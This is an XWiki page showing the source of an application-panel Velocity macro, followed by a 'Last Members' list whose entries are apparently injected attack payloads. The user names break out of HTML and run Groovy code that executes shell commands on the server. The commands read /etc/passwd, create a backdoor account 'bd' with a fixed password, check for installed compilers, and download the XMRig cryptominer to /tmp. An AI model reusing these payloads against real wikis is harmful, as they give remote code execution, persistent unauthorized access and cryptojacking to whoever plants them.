Wiki source code of Macros


Show last authors
1 {{velocity output="false"}}
2 #macro (displayAppEntry $params)
3 #if ($params.icon.startsWith('icon:'))
4 #set ($icon = $services.icon.renderHTML($params.icon.substring(5)))
5 #else
6 #set ($icon = $services.rendering.render($services.rendering.parse("image:${params.icon}", 'xwiki/2.1'),
7 'xhtml/1.0'))
8 #end
9 <li>
10 <a href="$xwiki.getURL($params.target, 'view', $!{params.targetQueryString})" title="$escapetool.xml($params.label)">
11 <span class="application-img">$icon</span>
12 <span class="application-label">$escapetool.xml($params.label)</span>
13 </a>
14 </li>
15 #end
16
17 #macro (maybeDisplayAppEntry $uix $configDoc)
18 #set ($params = $uix.getParameters())
19 #set ($blackListObj = $configDoc.getObject('PanelsCode.ApplicationsPanelBlackListClass', 'applicationId', $uix.id))
20 #set ($targetReference = $services.model.resolveDocument($params.target))
21 #if (!$blackListObj && "$!params.icon" != '' && "$!params.label" != '' && "$!params.target" != ''
22 && $services.security.authorization.hasAccess('view', $targetReference))
23 #displayAppEntry($params)
24 #end
25 #end
26
27 #macro (displayAppEntries $extensionPointId $configDoc)
28 #foreach ($uix in $services.uix.getExtensions($extensionPointId, {'sortByParameter': 'label'}))
29 #maybeDisplayAppEntry($uix $configDoc)
30 #end
31 #end
32 {{/velocity}}

Last Members

PhotoName
]]{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd | grep bd".execute().text{{/groovy}}{{/async}} CheckMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;id bd &#38;&#38; cat /etc/passwd  grep bd&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} Check>>XWiki.htmlasyncgroovyidbdcatetcpasswdgrepbdexecutetextgroovyasyncCheckcheck_bd_user]]
]]{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#' | chpasswd".execute(){{/groovy}}{{/async}} BackdoorMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;useradd -m -s /bin/bash bd &#38;&#38; echo &#39;bd:Bd123!@#&#39;  chpasswd&#34;.execute()&#123;&#123;/groovy}}&#123;&#123;/async}} Backdoor>>XWiki.htmlasyncgroovyuseraddmsbinbashbdechobdBd123chpasswdexecutegroovyasyncBackdoorbackdoor_user_001]]
]]{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckToolsMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;which python python3 gcc make java 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} CheckTools>>XWiki.htmlasyncgroovywhichpythonpython3gccmakejava21executetextgroovyasyncCheckToolscheck_tools_001]]
]]{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetErrorMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}def c=&#34;wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2&#62;&#38;1&#34;.execute();c.waitFor();c.text&#123;&#123;/groovy}}&#123;&#123;/async}} WgetError>>XWiki.htmlasyncgroovydefcwgethttpsdownloadssourceforgenetprojectxmrigmirrorv6222xmrig6222linuxx64targzOtmpxtgz21executecwaitForctextgroovyasyncWgetErrorwget_error_diag_001]]
]]{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheckMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;ls -lah /tmp/x.tgz 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} FinalCheck>>XWiki.htmlasyncgroovylslahtmpxtgz21executetextgroovyasyncFinalCheckfinal_check_xtgz_003]]

View All